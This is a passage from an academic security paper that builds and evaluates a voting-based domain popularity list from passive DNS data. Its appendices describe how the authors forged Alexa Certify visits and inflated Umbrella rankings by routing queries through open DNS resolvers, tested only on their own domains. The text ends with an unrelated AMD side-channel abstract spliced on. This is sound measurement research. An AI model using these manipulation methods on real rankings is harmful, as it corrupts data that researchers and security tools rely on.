processing PDNS data and computing a daily top 1M list.

We receive real-time PDNS data from 114DNS using
Apache Kafka, the open-source distributed data streaming
platform. The data stream is divided into 10-minute chunks
that we process immediately. Given this data chunking, we
naturally consider a domain’s active duration (used when com-
puting per-IP domain preferences, as discussed in Section 5.1)
in terms of 10-minute intervals. We extract the relevant fields
from all DNS record (e.g., A and CNAME) requests for our
ranking methods, which amount to ∼800 GB per day.

We execute our ranking method in a distributed fashion
using Apache Spark on YARN, with 300 executors each con-
figured with 2 cores and 4 GB of memory. We perform a
minor optimization before the voting phase by filtering out
domains with fewer than 15 total DNS requests or requested
by fewer than 15 IP addresses, as this reduces the voting
phase’s computation and these domains will not make it into
the top 1 million domains (this filtering leaves approximately
7M domains a day). Our total end-to-end ranking computation
takes 1.5 hours. Over half of the runtime is for per-IP domain
preference calculations, the most computationally intensive
component. IP weighting requires about a quarter of the time,
whereas the voting phase is quick (∼5 minutes).

6.1.1 Borda Truncated Voting Threshold

Recall from Section 5.3 that when using Borda voting, one
can truncate the IP-specific domain preferences to a threshold
length to account for varying numbers of domains requested
by different IP addresses (other voting schemes do not require
such truncation, as their point ranges are set and are not de-
pendent on voting behavior). Here we define BordaN as our
domain ranking method using Borda voting with a truncation
threshold of N (where N = f ull indicates no truncation), and
investigate the impact of different threshold values.

Consider an IP address that ranks domains A and B as its
first and second preference, respectively. (The following ar-
gument still holds for lower-ranked adjacent domain pairs.)
Under Borda voting with truncation threshold N, this address
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awards N voting points to A and N− 1 points to B. While
the raw difference between A and B’s points is always one
irrespective of N, the relative difference will be 1

N . As a con-
sequence, larger truncation thresholds N result in less impact
from IP-specific domain preferences, and more emphasis on
the number of addresses voting/querying for a domain (as
adding one voting address may contribute far more points to
a domain than obtaining a higher preference ranking at an
already-voting domain). Thus, large N values shift Borda to
behave more similarly to Approval, which disregards address
domain preferences.

We empirically confirm the similarities between Bordafull
and Approval by comparing the top lists produced by the two
methods. With Bordafull, N is set to the maximum number of
FQDNs requested by any IP address. In our dataset, we ob-
serve that N is consistently large (1.08M on average, and can
be up to 4.5M). When using IP weighting (results are similar
without weighting), we find on average a 99.98% intersec-
tion of the daily top 1K domains for Bordafull and Approval
(Kendall’s τ coefficient7 = 0.99), and a 97.84% intersection
of the daily top 1M lists (τ = 0.95).

On the other hand, small N values limit the degree to which
addresses can express their domain preferences. We observe
that a small fraction of addresses request high numbers of
FQDNs (resulting in the high N values when using Bordafull),
but 91% of addresses request up to 1K FQDNs daily (on
average). In comparison, only half of IP addresses request
100 or fewer FQDNs a day.

We consider N = 1K to be a philosophically reasonable
threshold8, as it captures the full domain preferences for
the vast majority of addresses without being too large of
a value9 (which would minimize the value of domain pref-
erences). In our subsequent evaluations though, we still con-
sider N in {10,100,1K, f ull}. As we will discuss, we find
that N = 10 and N = 100 result in poor manipulation resis-
tance, and Bordafull shares undesirable stability characteristics
with Approval. Thus when using Borda voting, we will focus
on evaluating Borda1K (often relegating evaluation results for
other Borda variants to Appendix F).

6.2 List Property: Manipulation Resistance

Here, we evaluate the manipulation resistance of our voting-
based top lists, across different top list parameters (IP weight-
ing and voting methods) and in comparison to the existing
top lists (i.e., Alexa, Umbrella, and Tranco). As discussed

7Kendall’s τ coefficient [31] is used to measure the similarity between
two ordered lists, and ranges from −1 to 1. The closer τ is to 1, the more
similar the ordered lists are.

8Note that the computational costs of using different threshold lengths do
not vary significantly, and thus is not a major factor in the design decision.

9The distribution of the number of FQDNs requested by IP addresses
exhibits a long tail. Thus, we observe that N values larger than 1K (e.g., 10K,
100K) provide diminishing returns in capturing the full domain preferences
of more addresses, and we did not explore these thresholds.

earlier, when evaluating Borda, we will focus on Borda1K,
relegating results for other Borda variants to Appendix F. We
will briefly evaluate using Dowdall, but we identify that it
produces top lists with significantly lower manipulation re-
sistance than Borda1K. Approval also exhibits undesirable
properties (as discussed in Section 5.3), so we relegate its
analysis to Appendix F.

Threat Model. We consider an attacker that aims to manip-
ulate our top list to obtain a high ranking for a target domain.
The attacker has a presence on a number of IP addresses (e.g.,
through compromised hosts, botnets, cloud hosting, or VPNs).
To manipulate our top list, the attacker generates DNS re-
quests on those addresses (to our PDNS vantage point) for
two potential purposes. First, the attacker could strive for a
higher address-specific domain preference rank for its target
domain, which requires sending DNS requests for the tar-
get domain10. We will call these domain preference boosting
DNS requests. Second, when using IP weighting for top list
construction, the attacker could also generate DNS requests
to other domains to increase their address’s weight, which we
will call weight boosting DNS requests.

In this section, we consider different attacker variants, in-
cluding different numbers of attack IP addresses, whether
attackers fully control traffic from those addresses (as attack-
ers may reside on addresses with benign users generating their
own traffic), and different numbers of DNS requests generated
(for both domain preference and IP weight boosting).

6.2.1 Design Decision: Using IP Weighting

Isolated Attackers. We first investigate the impact that IP
weighting has on our top lists’ manipulation resistance. To
isolate IP weighting’s effect, we consider an attacker that has
full control over its IP addresses, and thus can readily rank its
target domain as the top preference for its addresses (eliminat-
ing address domain preference as a variable) and optimize its
addresses’ weights (based on the number of weight boosting
DNS requests it generates). Then, we empirically evaluate
how high the attacker can manipulate its target domain’s rank-
ing in both the weighted and unweighted top lists, depending
on the number of attacker addresses and the number of weight
boosting requests generated. We compute the average attacker
domain’s ranking across the daily top lists constructed from
our PDNS data using different voting methods. Figure 3 de-
picts the average attack success for different top lists (created
using Borda1K and Dowdall) and attack parameters (the re-
sults of Approval, Bordafull, Borda100 and Borda10 are shown
in Figure 11 in Appendix F).

For Borda1K top lists, we observe that without IP weighting,
an attacker only requires 45 IP addresses (on average) to enter
the top 1M ranking. Note that this attacker need not generate
any weight boosting requests, as the top list is unweighted. In

10For top lists constructed using Approval, only one DNS request to the
target domain would be needed, as address domain preference is not involved.
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Figure 3: Average rankings of the attacker’s target do-
main, depending on different top list construction parameters
(weighted versus unweighted, Borda1K versus Dowdall vot-
ing) and attack strengths (different numbers of attacker IP
addresses and weight boosting DNS requests). Curves labeled
as “W-" represent weighted top lists, and the number of weight
boosting requests are listed in parentheses (“Max” indicates
an attacker obtaining the maximum normalized weight).

comparison, with IP weighting, the identical attack (without
weight boosting requests) requires an average of 495 IP ad-
dresses to enter the top 1M, an order of magnitude increase.
For an attacker to achieve similar manipulation rankings on
a weighted list compared to an unweighted one, using the
same number of attacker IP addresses, we can see that they
require about 10K weight boosting requests for each attacker
IP address, a more resource-intensive attack. (We observe the
same trend for weighting with other voting methods, including
Dowdall, as visible in Figures 3 and 11.)

We do identify that weighting is not strictly better for ma-
nipulation resistance, for all voting methods. As seen in Fig-
ure 3 (and Figure 11 for other voting methods), if an attacker
sends enough weight boosting requests (e.g., 1M requests per
address), they can obtain higher rankings (with the same num-
ber of attacker addresses) in the weighted top list than in the
unweighted list. Thus, there exists a trade-off where weight-
ing improves manipulation resistance against low-resource
attacks (requiring few DNS requests per attacker address), but
affords higher upper-bound success to high-resource attacks.

Overall though, we recommend using IP weighting for
two reasons. First, the philosophical motivation behind ap-
plying weighting is to more realistically reflect IP charac-
teristics, more heavily weighting addresses with presumably
more clients, treating clients fairer. Second, even with strong
attacks that are more successful against weighted top lists
versus unweighted ones, the degradation due to weighting
is relatively limited. For example, with weighted Borda1K,
attackers with 100 addresses who obtain maximum address
weights (which may not be practical, as it requires millions
of weight boosting requests per address) can achieve a rank-
ing about half that without weighting (150K versus 300K,
respectively). Meanwhile, without weighting, the lowest-cost
attack (requiring one DNS request to the target domain per at-
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Figure 4: CDF of the # of weight boosting requests that at-
tackers must send per IP address to obtain a desired IP weight,
for addresses in a randomly sampled day of our PDNS data.

tacker address) achieves an order of magnitude better ranking
on the unweighted list than the weighted one (as discussed).
Thus, without weighting, attackers need not launch resource-
intensive attacks to achieve high rankings, whereas weighting
forces them to launch such attacks to obtain higher rankings.
Therefore, we focus on weighted top lists moving forward.

Co-located Attackers. We also consider an attacker that
does not have full control over its IP addresses, where be-
nign co-located clients may generate their own traffic which
contributes to the addresses’ weights. We randomly sampled
one day of PDNS data to simulate this scenario. In Figure 4,
we plot the distribution of the number of weight boosting
requests an attacker must send per address to obtain a certain
IP weight (factoring in benign traffic). We observe that attack-
ers can obtain low weights (e.g., 0.2) without many weight
boosting requests (less than 100 requests), but even moderate
weights require a significant number of requests. For example,
over 10K requests are typically necessary to obtain a weight
of 0.6 and approximately 1M requests for a weight of 0.8.
Thus, even with benign traffic, attackers must generate signif-
icant amounts of weight boosting requests to obtain high IP
weights, and our support for the use of IP weights remains.

6.2.2 Design Decision: Choice of Voting Method

In Figure 3, all Dowdall curves are to the left of all Borda1K
curves, regardless of weighting or attacker parameters, indicat-
ing that top lists constructed using Dowdall are significantly
more vulnerable to manipulation than Borda1K-based top lists.
As we do not identify additional properties where Dowdall
outperforms Borda1K, such as with stability (as will be dis-
cussed in Section 6.3), we do not advocate for the use of Dow-
dall over Borda1K. We observe that Borda10 and Borda100
behave similar to Dowdall, with significantly worse manip-
ulation resistance (as shown in Figure 11) and no favorable
properties compared to Borda1K (as will be discussed in Sec-
tion 6.3). Thus, we also prefer Borda1K over these two Borda
variants. As discussed in Section 6.1.1, Bordafull and Approval
behave similarly. We actually observe that they exhibit slightly
better manipulation resistance compared to Borda1K, as shown
in Figure 11. However, as will be discussed in Section 6.3,
they exhibit significantly worse stability compared to Borda1K,
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Figure 5: Average rankings of the attacker’s target domain,
depending on its per-address preference ranking and the #
of attack addresses (when using weighted Borda1K). We plot
curves for the attacker addresses exhibiting minimum and
maximum weights, representing attack lower bound and up-
per bound success, respectively. Note that as we consider
domain preferences varying up to 1K, we consider the mini-
mum weight where 1K requests are sent on attack addresses.

with approximately half of the top 1M list churning daily.
Thus there is a trade-off between stability and manipulation
resistance. We believe that Borda1K serves as a reasonable
operating point, balancing manipulation resistance against
stability while factoring in address-specific preferences.

Influence of Address-Specific Domain Preferences.
Here, we investigate the influence of the attacker’s address-
specific domain preference rankings, focusing on Borda1K (as
justified above). If an attacker fully controls an address, they
can readily place their target domain as the address’s top pref-
erence (as analyzed in Section 6.2.1). Thus here we consider
only scenarios where the attacker is co-located with other
users on the address, and must compete for the preference
rankings. To isolate the effect of address domain preference,
we evaluate cases where the attacker addresses have either
the minimum or the maximum possible weight, and vary the
address preference ranking of the attacker’s target domain.
The minimum address weight case corresponds to a lower
bound on attack success, whereas the maximum weight case
reflects an upper bound.

In Figure 5, we plot the average daily rank of the attacker’s
target domain, varying the number of attacker addresses and
the address preference ranking of the target domain, using
weighting and Borda1K voting. As expected, as the target
domain’s address preference ranking increases (with the same
number of attacker addresses), it achieves a higher overall top
list rank, although improving preference rankings results in
increasingly diminishing returns.

To understand the attack strength needed to obtain a cer-
tain address preference (when attackers are co-located with
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Figure 6: CDF of the # of domain preference boosting requests
that an attacker must send to obtain a desired per-address pref-
erence ranking (ranked first versus 10th) for its target domain,
on a randomly sampled day. α = attack active durations.

benign clients), Figure 6 shows the distribution of the number
of domain preference boosting requests that the attacker must
send for addresses on a randomly sampled day, while varying
the attack’s active duration and the targeted address-specific
preference ranking. For about 20% of addresses, an attacker
can readily rank its target domain first with just 1 request.
However, for most addresses, attackers must generate signifi-
cant numbers of preference boosting requests to obtain a top
preference ranking. Attacks that are active over an entire day
still require hundreds to thousands of preference boosting
requests to secure a top preference ranking. With lower active
attack durations, attacks require significantly more requests
to obtain a top preference. Thus, attackers must expend addi-
tional resources (sending more requests and remaining active
for longer) for attack success when using domain preference.

6.2.3 Comparison to Existing Top Lists

Next, we compare the manipulation resistance of our top list
(created using weighted Borda1K) to Umbrella and Tranco.
Alexa does not use PDNS, so a direct comparison is infeasible,
although Alexa is easy to manipulate even using a single
IP address and a limited number of requests (as discussed
in Section 2). Without visibility into Umbrella’s data and
method, we must compare through a real-world evaluation,
performing (controlled) manipulation efforts and observing
the differences in manipulation success. As mentioned in
Section 2, we identified an additional method for easier DNS-
based ranking manipulation (i.e., using open DNS resolvers to
obtain IP diversity). Here we use this approach for evaluating
top list manipulation with many IP addresses.

Experiment Method. We use two target domains under
our control for testing manipulation efforts. For each attack
IP address (i.e., an open DNS resolver), we trigger five DNS
lookups for each target domain to be sent to both Umbrella
and 114DNS’s DNS resolvers, evaluating up to 20K attack
addresses (while larger attacks are possible, we limit our eval-
uation due to ethical considerations). In essence, we cause
requests from 20K different IP addresses to appear in Um-
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brella and 114DNS’s PDNS data, performing identical attacks
on both top lists. We then monitor the target domains’ rank-
ings (performing our evaluation from Apr. 8–20, 2021). The
manipulation approach is detailed in Appendix D.

Ethics. We conduct our manipulation experiment on our
own domains that host webservers indicating that they are
test servers. Using only two domains should have negligible
impact on top lists overall. We also send a small number of
requests per evaluated IP address, and rate limit our total re-
quests generated to Umbrella’s and 114DNS’s DNS resolvers
to minimize the traffic load induced.

Results. The two target domains successfully achieved
a consistent ranking within Umbrella’s top 10K each day
(reaching a rank as high as 2,859). For our recommended top
list construction (weighted Borda1K), the two target domains
obtained stable rankings between 29K to 41K (reaching at
most a rank of 29,486) under the identical manipulation effort.
While our comparison is limited to this black box evaluation,
we observe that our ranking appears to be significantly more
manipulation resistant compared to Umbrella (and Alexa).

When comparing to Tranco, we must combine Alexa and
Umbrella manipulation. We note that default Tranco combines
the Alexa, Umbrella, and Majestic top lists over a 30-day win-
dow. However, for a more direct and fair comparison of the
two top list methods, we use daily snapshots of Alexa and
Umbrella as Tranco input sources. Using daily snapshots al-
lows us to directly compare the manipulation resistance of
Tranco’s algorithm with ours on an equal time scale. We also
exclude Majestic when computing Tranco’s rankings, as we
focus on top lists that rank domains by user visits/traffic (as
discussed in Section 2.1). Including Majestic, which ranks
websites by their backlinks, further convolutes Tranco’s do-
main popularity interpretation.

Figure 7 depicts the Tranco ranking an attacker can obtain,
based on its manipulation of Alexa and Umbrella rankings.
Tranco proportionally reweights the contributions of the two
contributing top lists to account for the differences in list
sizes (we discuss Alexa’s size change in Section 2.2.1). Thus
Tranco manipulation success differs when targeting only the
Alexa top list compared to the Umbrella top list. In general,
an attacker must obtain the same target ranking in both Alexa
and Umbrella in order to obtain that target rank in Tranco.
However, we note that as Alexa and Umbrella are easily ma-
nipulated with low-resource attacks, transitively Tranco’s list
can likewise be affected.

From Alexa manipulation experiments (through the Certify
service), attackers can achieve a ∼2K ranking with ∼360K
requests (sent by one IP address). For Umbrella manipula-
tion, with 20K IP addresses (sending 5 requests each, 100K
requests in total), attackers similarly achieve a∼2.8K ranking.
As a result, such attack resources achieve a ∼2K ranking in
Tranco. In comparison, 20K IP addresses with 460K total
requests (matching the total request volume for both Alexa
and Umbrella manipulation) can only obtain a ranking of
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Figure 7: Rankings obtained in Tranco through Alexa (A)
and Umbrella (U) manipulation. Data points (X’s and O’s)
represent the observed Tranco rankings for our two targeted
domains (labeled as “Target”) during our Alexa and Umbrella
manipulation experiments. The dotted lines represent the ex-
trapolated relationship between a domain’s Alexa/Umbrella
ranking and its Tranco ranking (with “Dual” representing
concurrent ranking in both Alexa and Umbrella).

∼20K in our list. Thus, our ranking also demonstrates more
manipulation resistance compared to Tranco. (We note that
our list differs from Tranco in how it resists manipulation, as
discussed in Section 2.1.)

6.3 List Property: Stability

Here we evaluate how our design decisions impact the sta-
bility of our top lists. We quantify stability (similar to prior
work [39, 45]) as the percentage of a top list for one day that
remains on (i.e., intersects) the list for the next day (averaging
across days), considering different portions/ranking ranges of
the top list.

Design Decision: Using IP Weighting. We find that for all
voting methods, stability does not vary noticeably when using
weighting versus not (we elide details for space). There is
only a 1.5% difference in the average stability for our top 1M
list with and without IP weighting, when using Borda1K. This
likely arises because IP weights do not drastically shift from
one day to the next. As argued in Section 6.2, we advocate for
weighting as it provides both philosophical and manipulation
resistance benefits, without impacting stability.

Design Decision: Choice of Voting Method. Table 1 lists
the average stability of each top list across different ranking
ranges. Overall, we observe that Borda1K exhibits the highest
stability for its top 1M list, with over 80% of the list remaining
the same day-to-day. Approval exhibits the highest churn in
its top 1M list, with almost half of the list changing daily
(Bordafull behaves similarly, as discussed in Section 6.1.1).
Borda10 and Borda100 also exhibit high churn (although not
as extreme as Approval). We note that among the top 100K
(or more highly ranked domains), all lists are similarly stable.

Given that Dowdall, Borda10, and Borda100 exhibit lower
stability and worse manipulation resistance compared to
Borda1K (as evaluated in Section 6.2), we advocate for the use
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Ranking Our Top Lists Existing Top Lists
Range Borda1K Dowdall Approval Borda10 Borda100 Bordafull Alexa Umbrella Tranco

Top 1K 97.7% 97.7% 97.6% 97.4% 97.5% 97.6% 84.9% 94.9% 90.8%
Top 10K 97.2% 97.0% 97.0% 96.4% 96.8% 97.0% 73.8% 94.4% 85.6%
Top 100K 94.1% 94.2% 94.1% 91.5% 93.9% 94.1% 58.1% 93.0% 82.0%
Top 1M 81.7% 80.8% 51.3% 62.8% 79.2% 51.6% 44.9% 87.0% 72.7%

Table 1: For various top list constructions, we show the average list stability (the average percentage of intersecting domains for
a top list on consecutive days) for different portions/ranking ranges of the top list.

of Borda1K over these other voting methods. When compared
to Approval and Bordafull (which behave similarly), there is
a trade-off between manipulation resistance and stability (as
discussed in Section 6.2). While a less stable list is not neces-
sarily inherently worse or less realistic, prior work [39,45] has
noted the challenges in using unstable lists. Thus, we believe
Borda1K is a suitable voting method choice as it offers the
highest stability with reasonable manipulation resistance.

Comparison to Existing Top Lists. Again we compare
our top list (using weighted Borda1K) to existing top lists
(shown in Table 1). We note that existing lists use different
windows of data, and there exists a trade-off where top lists
built on longer-term traffic metrics can provide more stability,
but such lists are less responsive to real-time changes. Prior
work [39, 45] observed that Alexa exhibits low stability, with
its top 1M’s daily churn rates reaching over 50% of domains
(we observed an average stability of 45% over our 6-month
data analysis window). Umbrella exhibits higher stability
in its top 1M; we observed an 87% average stability, while
prior work [45] found a 20% churn rate (i.e., 80% stability).
However, Umbrella’s ranking is constructed on two-day win-
dows of data [39]. Our evaluated version of the Tranco top
1M, which combines Alexa and Umbrella (as discussed in
Section 6.2.3), exhibits a 73% average stability11 (between
Umbrella’s and Alexa’s stability rates). Thus, our chosen top
list, which also exhibits about 82% average stability in the
top 1M while using daily snapshots, offers favorable stability
and reactivity properties compared to existing lists. (We note
that regardless of Umbrella’s two-day data window, our list
also exceeds the stability of Umbrella in the top 100K.)

6.4 Top List Characteristics
We characterize our top list constructed using weighted
Borda1K (as previously justified), along dimensions evaluated
for existing top lists in prior work [39, 45].

Top List Similarity. Our top 1M list shares 14.4% of its
domains with Umbrella’s top 1M on average, and 18.3% with
Alexa. This is expected, as prior work observed limited over-
lap between existing top lists due to data source differences;
Alexa and Umbrella top 1M lists overlapped on only 15% of

11The default Tranco ranking, which combines Alexa, Umbrella, and Ma-
jestic over 30 days, exhibits a 1% daily churn rate, but given the much larger
data time window, it is significantly less reactive.
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Figure 8: CDF of the sizes of alphabetically-ranked domain
clusters among the different top 1M lists, for a randomly
selected day.

domains [45]. Our input data source has broad domain cov-
erage though (covering 100% of domains observed in Alexa
and Umbrella over our data analysis window).

SLD Coverage. Our top 1M list is distributed across an
average of 476K distinct SLDs a day, which indicates a wide
diversity of Internet services covered. Among the most popu-
lar domains (top 1K), services are more concentrated across
228 distinct SLDs (on average).

TLD Coverage. Our top 1M list covers on average 532
valid TLDs a day (∼36% of all TLDs [28]). Among the top
1K, there are 10 TLDs on average, which is similar to Um-
brella [45]. Note that high TLD coverage is not necessarily
desirable or expected for a top list, as prior work showed that
most traffic skews towards a small number of TLDs [39]. Our
input data source has broad TLD coverage though (covering
99.9% of TLDs, as discussed in Section 4).

Statistical Significance of Lower-Ranked Domains. In
Alexa, rankings beyond the top 100K have limited statistical
meaning, as these domains often receive only a single request
(as discussed in Section 2.2.1). For comparison, we evaluate
the statistical significance of our list’s lower-ranked domains.
Considering the bottom 100K domains in our top 1M list, we
receive enough data per domain to make meaningful analysis.
For a randomly selected day, we analyze the distribution of
the number of requests and IP addresses for these bottom
100K domains. The median number of requests per domain is
∼1.5K (ranging from ∼1K to over 1M requests). The median
number of addresses per domain is∼500 (ranging from∼100
to ∼10K). Thus, we observe a non-trivial amount of DNS
traffic for even the lowest-ranked domains in our list.

USENIX Association 31st USENIX Security Symposium    637



Alphabetically-Ranked Domain Clusters. Prior stud-
ies [39, 43, 44] found that Alexa and Umbrella contain large
alphabetically-sorted clusters of domains, likely represent-
ing domains with identical ranking scores that are arbitrarily
ordered alphabetically. We evaluate the distribution of such
clusters for our top 1M list compared to Alexa, Umbrella, and
Tranco, depicted in Figure 8 for a randomly selected day. In
our list, the largest cluster of domains with identical ranking
scores is 9 domains, while Umbrella and Alexa exhibit clus-
ters of over 10K domains. Tranco largely avoids the massive
ranking clusters in Alexa and Umbrella, as it merges both lists,
interleaving domains from clusters within both lists. Nonethe-
less, Tranco still exhibits larger clusters than our list, with a
cluster of 31 domains. Thus, our list avoids ranking clusters
more than existing lists.

7 Conclusion

In this paper, we systematically explored the construction of
a robust, manipulation-resistant, and stable domain top list
from scratch. Motivated by the limitations of existing top lists,
particularly concerning a lack of transparency, low stability,
and easy manipulation, we designed a voting-based domain
ranking method where individual IP addresses express their
domain preferences, and a weighted vote is performed across
all addresses to construct a global top list. We realized our
list in practice using an extensive passive DNS dataset, and
evaluated how different design choices impact our list and
its characteristics. Ultimately, we identified trade-offs in the
behavior of our top list, although we recommend one specific
construction method that offers favorable stability and manip-
ulation resistance properties (while also being transparent).
We demonstrated that our top list outperforms existing ones
across the different list properties considered. Thus, we be-
lieve our top list construction method can serve as a valuable
contribution to the networking and security community.

This work is truly an initial exploration of the nature of
top lists though. Future work can investigate improving the
robustness of our list construction method (e.g., using hop-
count filtering [30] to combat IP spoofing attacks [46] on
PDNS-based top lists), better quantifying domain popularity
characteristics (e.g., characterizing user populations behind
IPs), and evaluating the longitudinal characteristics of do-
main ecology using our top list. We aim for our work to help
guide the use of Internet top lists for networking and security
research, while driving further investigation into this space.
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A Undisclosed Alexa Changes

Here we provide another example of an undisclosed Alexa
data collection change, demonstrating its top list’s lack of
construction consistency. Prior work [39, 45] observed that in
early 2018, the telemetry collected by Alexa from its browser
extension included the domains visited and a user ID specific
to the browser instance. At that time, Alexa did not limit the
number of user IDs observed on the same IP address nor filter
out any telemetry. Subsequent work [44] identified that Alexa
had begun filtering out repeat visits to the same domain from
the same user ID, presumably to combat manipulation efforts.
Aligning with this prior finding, in our reverse-engineering
of the Alexa browser extension in Dec. 2020, we identified
that the extension does not send telemetry to Alexa when a
URL is revisited within the same browser within a certain
time period. This notably filters out legitimate repeat visits to
domains by benign users, undercounting domain visits.

B Manipulating Alexa through Certify

Here, we detail our Alexa manipulation approach using
Alexa’s Certify service. We reverse-engineered the Alexa
Certify JavaScript snippet 12, as of Feb. 2021. When visit-
ing an Alexa Certified website, the Certify script provides
visit metrics to Alexa’s data collection endpoint along with
a user_cookie data field value used to distinguish site visi-
tors. Thus, one can forge fake visits to the Certified website
by generating requests to the Alexa data collection endpoint
using the same Certify ID (for the target website) with a large
number of unique user_cookie values. Figure 9 shows the
Alexa rankings we obtained for a manipulation experiment
targeting two of our own Certified domains (as discussed in
Section 2.2.1).

C Alexa’s Bias Towards Certified Domains

Here, we discuss our analysis of Alexa Certified domains.
Subscribers of Alexa’s Certify service can query whether

12https://certify-js.alexametrics.com/atrk.js
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Figure 9: Rankings obtained in Alexa using different num-
bers of forged distinct visitors to our two Alexa Certified test
domains (from Feb. to Apr. 2021).

other domains on Alexa’s top list are also Certified sites. We
subscribed to the Certify service and queried for the status of
domains in the Alexa top list on March 21, 2021. We identify
that 3.7K out of 487.8K Alexa top list domains (0.7%) use the
Certify service. While some such domains are highly ranked,
80% are ranked beyond the top 10K and nearly half beyond
the top 100K. Using our test domains subscribed to the Certify
service (as discussed in Section 2.2.1), we identified that as
long as a Certified domain receives even a single page visit in
a day, it will be ranked in the Alexa top list, demonstrating that
Alexa is biased towards Certified domains (although Alexa’s
methods remain undisclosed).

D PDNS Manipulation using
Open DNS Resolvers

To manipulate PDNS data collected at a recursive resolver
(e.g., those of Umbrella or 114DNS), without an attacker di-
rectly controlling a large number of distinct IP addresses, we
develop a manipulation approach that leverages open DNS
resolvers across the Internet. Figure 10 illustrates the manipu-
lation workflow.

We first directly send a query for a target domain to the
PDNS recursive resolver (Step 1), which will recursively
query the target domain’s authoritative name server (Step
2), caching the authoritative response (Step 3). We then recon-
figure the target domain’s authoritative name server on-the-fly
to be set to the PDNS recursive resolver itself (Step 4). We
query open DNS resolvers across the Internet for the target
domain (Step 5), each of which will subsequently recursively
query the domain’s authoritative name server, which is now
the PDNS resolver (Step 6). So long as the target domain’s
DNS record remains cached at the PDNS resolver, it will reply
to the open DNS resolvers with valid DNS responses. From
the PDNS data collection perspective, the recursive resolver
has received and responded to DNS lookups for the target
domain from various IP addresses (belonging to open DNS
resolvers), thus manipulating the PDNS data (Step 7). It is
critical that the target domain’s DNS record is cached at the
PDNS recursive resolver throughout the manipulation effort.
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Figure 10: PDNS manipulation through open DNS resolvers.
The blue arrows represent DNS queries and the red arrows
represent DNS responses.

If not, the recursive resolver will issue a fresh query to the
domain’s authoritative name server, which has been set to
itself, resulting in a SERVFAIL error that can prevent PDNS
logging. However, as long as the attacker controls the target
domain’s initial authoritative name server (a reasonable threat
model), the attacker can configure a long TTL for the initial
authoritative record, resulting in long-term caching.

Experiment Implementation. Here we discuss the details
of the Umbrella and 114DNS manipulation experiment de-
scribed in Section 6.2.3. In Jan. 2021, we conducted an
Internet-wide scan for open DNS resolvers on port 53, finding
1.7M distinct IP addresses with an open DNS resolver. Using
two servers (located in Beijing, China and Fremont, US), we
issued DNS requests to the 114DNS and Umbrella recursive
resolvers as well as the open DNS resolvers, following our
PDNS manipulation workflow. (Note, we never test the full
set of open DNS resolvers to limit the total traffic load to the
PDNS recursive resolvers.) We used two of our own domains
as targets (which host webservers indicating that they are
test servers), where we controlled the domains’ authoritative
name servers.

Both 114DNS and Umbrella load-balance traffic to its re-
cursive resolvers through anycast. By tracing DNS queries
from our servers to the PDNS recursive resolvers, we observe
that even from the same source IP address, DNS lookups can
be routed to different recursive resolver servers (due to any-
casting). To cache our target domain’s authoritative records
at many 114DNS and Umbrella recursive resolver servers,
we first repeatedly issue 1K DNS lookups for each target do-
main from both of our servers (where different lookups may
be routed to different recursive resolver servers, resulting in
that resolver caching our target domain’s authoritative record).
Then when performing PDNS manipulation, we issue 5 re-
peat DNS queries for our target domain to each open DNS
resolver, to overcome intermittent packet loss.
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Figure 11: Average rankings of the attacker’s target domain, depending on different top list construction parameters (weighted
versus unweighted; using Approval, Bordafull, Borda100, or Borda10) and attack strengths (different numbers of attacker IP
addresses and weight boosting DNS requests). Curves labeled as “W-" represent weighted top lists, and the number of weight
boosting requests are listed in parentheses (with “Max” representing the attacker obtaining the maximum normalized weight).

E DNS Caching Considerations

Here, we investigate our PDNS data to understand if we
can reliably factor in DNS caching behavior. A DNS record
is cached for a certain amount of time, the TTL. The au-
thoritative name server sets a TTL for a DNS record (the
ATTL), but the TTL that a client receives from a recursive
resolver’s response (the RTTL) depends on how long the
record has been cached at the resolver, and thus changes over
time and with each DNS response. We note that previous
studies [13, 19, 38, 47] have observed that recursive resolvers
across the Internet often do not respect the ATTL (i.e., recur-
sive resolvers select their own maximum/minimum RTTL val-
ues irrespective of the ATTL). Thus, for many DNS datasets
(including our own), caching behavior is dependent on the
RTTL rather than the ATTL, and thus we focus on RTTL
considerations here.

Ultimately, we find that due to the following three issues, it
is infeasible for us to reliably predict DNS caching behavior
from the PDNS vantage point. Thus, in our work, we do not
attempt to adjust for DNS caching.

E.1 CNAME Caching Discrepancies

Prior work [45] reported that 44% of the Alexa top 1M and
28% of the Umbrella top 1M use CNAME records, and we
observe similar CNAME usage in our PDNS dataset (for
nearly 33% of DNS lookups). We investigate how differ-
ent OSes handle DNS caching based on the TTLs observed
when resolving a chain of CNAME records (including both
CNAME and A records). We find that Windows 10 caches
based on the minimum TTL observed in the CNAME reso-
lution chain whereas Unix-based systems (including Ubuntu
and Mac OS X) use only the first CNAME record’s TTL. As
a consequence, clients on different OSes will cache CNAME
records for different durations. Our PDNS data does not pro-
vide visibility into client OSes, preventing reliable caching
predictions for a substantial fraction of DNS lookups.

E.2 Client-Specific Caching Policies
Beyond CNAME-related caching differences across OSes, dif-
ferent client software also exhibit varying caching behaviors.
Many browsers (e.g., Opera, Chrome, Firefox) implement
their own DNS caches rather than rely on OS-level caches
(particularly to defend against DNS rebinding attacks [29]).
For example, Chrome13 and Firefox14 cache each domain for
60 seconds, irrespective of DNS record RTTLs. As we cannot
determine the specific software clients used from our PDNS
data, we again lack visibility into caching dynamics.

E.3 Unclear DNS Cache Boundaries
Beyond local device caching, DNS caching also occurs at
the local network resolvers. However, given an IP address,
it is unclear where DNS caches may be located. Multiple
IP addresses may rely on the same DNS cache, meanwhile,
multiple clients behind the same IP address (due to network
address translation) may use different DNS caches. We eval-
uated whether DNS caching might be occurring at the IP
address granularity. If so, we would expect that if a PDNS
recursive resolver sent a DNS response for a domain to an IP
address with a given RTTL, that IP address would not gener-
ate subsequent DNS lookups to the recursive resolver for that
domain until the RTTL period passes. We observe that for a
randomly-sampled one-hour window of our PDNS data, this
behavior was seen for only 5% of IP addresses, indicating that
caching boundaries are not typically at the IP-level granularity,
which is the granularity of data provided by PDNS.

F Manipulation Resistance of Approval,
Bordafull, Borda100, Borda10

Figure 11 depicts the average attack success for different top
lists and attack parameters.

13https://bugs.chromium.org/p/chromium/issues/detail?id=164026
14http://kb.mozillazine.org/Network.dnsCacheExpiration
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Abstract
Modern operating systems fundamentally rely on the strict
isolation of user applications from the kernel. This isolation
is enforced by the hardware. On Intel CPUs, this isolation has
been shown to be imperfect, for instance, with the prefetch
side-channel. With Meltdown, it was even completely circum-
vented. Both the prefetch side channel and Meltdown have
been mitigated with the same software patch on Intel. As
AMD is believed to be not vulnerable to these attacks, this
software patch is not active by default on AMD CPUs.

In this paper, we show that the isolation on AMD CPUs suf-
